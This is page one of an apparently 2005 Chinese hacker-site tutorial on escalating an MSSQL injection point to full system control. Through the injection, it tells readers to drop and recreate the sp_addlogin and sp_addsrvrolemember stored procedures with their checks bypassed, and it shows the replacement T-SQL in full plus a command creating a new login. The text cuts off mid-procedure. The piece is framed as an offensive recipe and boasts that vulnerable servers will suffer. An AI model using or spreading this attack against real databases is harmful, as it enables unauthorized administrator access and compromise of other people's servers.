| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 黑客技术 >> 黑客教学 >> 文章正文 用户登录 新用户注册
  msSQL注入通杀,只要有注入点就有系统权限         ★★★ 【字体:
msSQL注入通杀,只要有注入点就有系统权限
作者:未知    文章来源:CnXHacker.Net    点击数:    更新时间:2005-9-16    

不知道大家看过这篇文章没有,可以在db_owner角色下添加SYSADMIN帐号,这招真狠啊,存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程,饶过了验证部分。具体方法如下:先输入drop procedure sp_addlogin,然后在IE里面输入create procedure  sp_addlogin  
    @loginame  sysname  
   ,@passwd         sysname = Null  
   ,@defdb          ; ; sysname = ’master’      -- UNDONE: DEFAULT   
CONFIGURABLE???  
   ,@deflanguage    sysname = Null  
   ,@sid   varbinary(16) = Null  
   ,@encryptopt  varchar(20) = Null  
AS  
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --  
 set nocount on  
 Declare @ret    int    -- return value of sp call  
      
    -- DISALLOW USER TRANSACTION --  
 set implicit_transactions off  
 IF (@@trancount 〉 0)  
 begin  
  raiserror(15002,-1,-1,’sp_addlogin’)  
  return (1)  
 end  
    -- VALIDATE LOGIN NAME AS:  
    --  (1) Valid SQL Name (SQL LOGIN)  
    --  (2) No backslash (NT users only)  
    --  (3) Not a reserved login name  
 execute @ret = sp_validname @loginame  
 if (@ret 〈〉 0)  
        return (1)  
    if (charindex(’\’, @loginame) 〉 0)  
    begin  
        raiserror(15006,-1,-1,@loginame)  
        return (1)  
    end  
 --Note: different case sa is allowed.  
 if (@loginame = ’sa’ or lower(@loginame) in (’public’))  
 begin  
  raiserror(15405, -1 ,-1, @loginame)  
  return (1)  
 end  
    -- LOGIN NAME MUST NOT ALREADY EXIST --  
 if exists(select * from master.dbo.syslogins where loginname =   
@loginame)  
 begin  
  raiserror(15025,-1,-1,@loginame)  
  return (1)  
 end  
 -- VALIDATE DEFAULT DATABASE --  
 IF db_id(@defdb) IS NULL  
 begin  
  raiserror(15010,-1,-1,@defdb)  
     return (1)  
 end  
 -- VALIDATE DEFAULT LANGUAGE --  
 IF (@deflanguage IS NOT Null)  
 begin  
  Execute @ret = sp_validlang @deflanguage  
  IF (@ret 〈〉 0)  
   return (1)  
 end  
 ELSE  
 begin  
  select @deflanguage = name from master.dbo.syslanguages  
  where langid = @@default_langid --server default   
language  
  if @deflanguage is null  
   select @deflanguage = N’us_english’  
 end  
 -- VALIDATE SID IF GIVEN --  
 if ((@sid IS NOT Null) and (datalength(@sid) 〈〉 16))  
 begin  
  raiserror(15419,-1,-1)  
   return (1)  
 end  
 else if @sid is null  
  select @sid = newid()  
 if (suser_sname(@sid) IS NOT Null)  
 begin  
  raiserror(15433,-1,-1)  
   return (1)  
 end  
 -- VALIDATE AND USE ENCRYPTION OPTION --  
 declare @xstatus smallint  
 select @xstatus = 2 -- access  
 if @encryptopt is null  
  select @passwd = pwdencrypt(@passwd)  
 else if @encryptopt = ’skip_encryption_old’  
 begin  
  select @xstatus = @xstatus | 0x800, -- old-style   
encryption  
   @passwd = convert(sysname, convert(varbinary  
(30), convert(varchar(30), @passwd)))  
 end  
 else if @encryptopt 〈〉 ’skip_encryption’  
 begin  
  raiserror(15600,-1,-1,’sp_addlogin’)  
  return 1  
 end  
    -- ATTEMPT THE INSERT OF THE NEW LOGIN --  
 INSERT INTO master.dbo.sysxlogins VALUES  
        (NULL, @sid, @xstatus, getdate(),  
             getdate(), @loginame, convert(varbinary(256), @passwd),  
             db_id(@defdb), @deflanguage)  
 if @@error 〈〉 0  -- this indicates we saw duplicate row  
        return (1)  
 -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE   
SYSLOGINS CHANGE --  
 exec(’use master grant all to null’)  
    -- FINALIZATION: RETURN SUCCESS/FAILURE --  
 raiserror(15298,-1,-1)  
 return  (0) -- sp_addlogin  
GO  
OK,我们新建个用户exec master..sp_addlogin xwq  

再drop procedure sp_addsrvrolemember,然后在IE里输入  


create procedure sp_addsrvrolemember  
    @loginame sysname,   -- login name  
    @rolename sysname = NULL -- server role name  
as  
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --  
 set nocount on  
 declare @ret        int,    -- return value of sp call  
             @rolebit    smallint,  
             @ismem      int  
    -- DISALLOW USER TRANSACTION --  
 set implicit_transactions off  
 IF (@@trancount 〉 0)  
 begin  
  raiserror(15002,-1,-1,’sp_addsrvrolemember’)  
  return (1)  
 end  
      
    -- CANNOT CHANGE SA ROLES --  
    if @loginame = ’sa’  
    begin  
        raiserror(15405, -1 ,-1, @loginame)  
 &nbs

[1] [2] 下一页

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    活地运用SQL Injection做数据
    MSN视频暗藏杀机 微软补丁忙
    利用最近热门的Xss漏洞能做什
    破解Session cookie的方法
    数据库安全应用 使用MySQL的
    数据库安全 关于Access数据库
    MSSQL数据库SA权限入侵的感悟
    MSN Space大赛官方网站入侵经
    Thomson SpeedTouch 2030 SI
    “MSN性感相册”病毒变种多达
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.